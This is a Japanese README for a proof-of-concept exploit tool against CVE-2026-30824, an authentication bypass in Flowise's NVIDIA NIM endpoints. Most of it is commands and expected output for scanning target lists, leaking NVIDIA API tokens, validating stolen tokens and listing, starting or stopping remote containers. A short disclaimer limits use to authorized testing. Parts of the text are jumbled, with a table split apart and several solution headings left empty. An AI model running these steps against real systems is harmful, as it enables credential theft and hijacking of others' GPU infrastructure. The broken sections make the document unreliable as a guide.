
**CVE-2026-30824**の概念実証エクスプロイト。Flowiseにおける重大な認証バイパス脆弱性で、認証なしでNVIDIA NIM APIエンドポイントを公開します。
CVE-2026-30824 の概念実証チェッカー兼エクスプロイトです。これは Flowise における重大な認証バイパス脆弱性であり、認証なしで NVIDIA NIM API エンドポイントを公開します。
CVE-2026-30824 は Flowise (< 3.0.13) における重大な認証バイパスであり、認証されていないリモート攻撃者が NVIDIA NIM コンテナ管理および API トークン生成エンドポイントにアクセスできるようにします。
| フィールド | 値 |
|---|---|
| CVSS スコア | 9.8 (Critical) |
| CWE | CWE-306: 重要な機能に対する認証の欠如 |
| 影響を受けるバージョン | Flowise < 3.0.13 |
| 影響 | 完全なコンテナ管理、GPU アクセス、トークン窃取 |
/api/v1/nvidia-nim/* パスがグローバル認証ミドルウェアでホワイトリストに登録されており、認証なしでのアクセスが可能です:
✅ 脆弱性検出 — ターゲットが脆弱かどうかを素早く確認
✅ トークン抽出 — 脆弱なエンドポイントから NVIDIA API トークンを漏洩
✅ トークン検証 — NVIDIA API に対してトークンを検証 (影響範囲の実証)
✅ コンテナ列挙 — 実行中の NIM コンテナを一覧表示
✅ バッチスキャン — ファイルから複数のターゲットをスキャン
✅ SSL バイパス — デフォルトで自己署名証明書を無視
✅ カラー出力 — 見やすいステータス表示 (緑/黄/赤)
✅ 偵察 — 完全なエンドポイントマッピングと診断
requests ライブラリ# スクリプトをクローンまたはダウンロード
git clone <repository>
cd cve-2026-30824
# 依存関係をインストール
pip install -r requirements.txt
# または
pip install requests
# 単一ターゲットが脆弱かどうかを確認
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# 期待される出力 (VULNERABLE):
# [+] Target appears VULNERABLE (HTTP 200)
# Response: {...}
# 1行に1つのURLを記載した targets.txt を作成
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# すべてのターゲットをスキャン (高速モード、プロンプトなし)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# 期待されるサマリー出力:
# ============================================================
# [*] Scan Summary
# ============================================================
# [+] VULNERABLE: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] PATCHED: 1
# ✗ http://192.168.1.102:3000
# 脆弱なエンドポイントから NVIDIA API トークンを漏洩
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 期待される出力:
# [*] Attempting to leak NVIDIA API token...
# [+] NVIDIA API Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token Type: Bearer
# [+] Expires In: 3600s
# 漏洩したトークンが実際の NVIDIA API に対して機能するか検証
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# 期待される出力:
# [*] Validating token against NVIDIA API...
# [+] Token VALID! Access to 45 NVIDIA NIM models.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# ターゲット上のコンテナを列挙
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# 期待される出力:
# [*] Listing running containers...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# 脆弱なターゲットに対してすべての偵察チェックを実行
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
任意引数:
-h, --help このヘルプメッセージを表示して終了
-t, --target TARGET ターゲット URL (例: http://192.168.1.100:3000)
-f, --targets-file FILE ターゲットのリストを含むファイル (1行に1つ)
脆弱性検出:
--check ターゲットが脆弱かどうかのみ確認
--scan-only プロンプトなしでターゲットの脆弱性をスキャン
--debug リクエスト詳細と生のレスポンスを表示
エクスプロイト:
--get-token NVIDIA API トークンを漏洩
--validate-token TOKEN NVIDIA API に対して漏洩したトークンを検証
--list-containers 実行中の NIM コンテナを一覧表示
--get-container CONTAINER_ID コンテナの詳細を取得
--get-image IMAGE_ID イメージの詳細を取得
--pull-image IMAGE_TAG Docker イメージをプル (例: nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG イメージタグからコンテナを起動
--container-name NAME 起動したコンテナの名前
--stop-container CONTAINER_ID 実行中のコンテナを停止
--preload リソースプリロードエンドポイントをトリガー
--all すべての偵察チェックを実行
詳細設定:
--timeout SECONDS リクエストタイムアウト (秒) (デフォルト: 15)
# 1. サブネット全体をスキャンして脆弱なインスタンスを検出
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. 脆弱な各ターゲットからトークンを抽出
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. トークンの影響を検証
python3 CVE-2026-30824.py --validate-token "<extracted-token>"
# 脆弱性を検証し、完全な影響範囲を実証
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# これにより以下が実行されます:
# 1. 脆弱性のチェック
# 2. NVIDIA API トークンの抽出
# 3. NVIDIA API に対するトークンの検証
# 4. 実行中コンテナの一覧表示
# 5. リソース列挙の表示
# ターゲットを定期的に監視 (cron またはスケジューラ経由)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | 意味 |
|---|---|
| 200 | ✅ 脆弱 (エンドポイントにアクセス可能) |
| 400 | ✅ 脆弱 (アプリケーションエラーだがエンドポイントは存在) |
| 401 | 🟡 パッチ適用済み (認証が必要) |
| 404 |
問題: エンドポイントが JSON API レスポンスの代わりに HTML ページを返します。
解決策:
問題: ターゲットに到達できません。
解決策:
# 接続性をテスト
curl -v http://192.168.1.100:3000/
# タイムアウトを延長
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
問題: ターゲットが自己署名または期限切れの証明書を使用しています。
解決策: スクリプトはデフォルトで SSL 検証を無効にします。問題が続く場合:
# ポートとプロトコルを明示的に追加
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
問題: トークンは抽出されたが、NVIDIA API に対する検証が失敗します。
原因:
⚠️ 法的通知
この脆弱性を実環境で発見した場合:
即時対応:
長期的対策:
/api/v1/nvidia-nim/* パスをブロックこのツールは教育目的および許可されたセキュリティテスト専用に提供されます。詳細は LICENSE ファイルを参照してください。
このエクスプロイトは「現状のまま」保証なしで提供されます。所有しているシステム、または明示的な書面によるテスト許可があるシステムでのみ使用してください。著者はこのツールの誤用または損害について責任を負いません。
許可された侵入テストおよびセキュリティ研究のために作成されました。
最終更新: 2026年4月
| 🟡 Flowise ではない、またはエンドポイントが存在しない |
| 5xx | 🔴 サーバーエラー/設定ミス |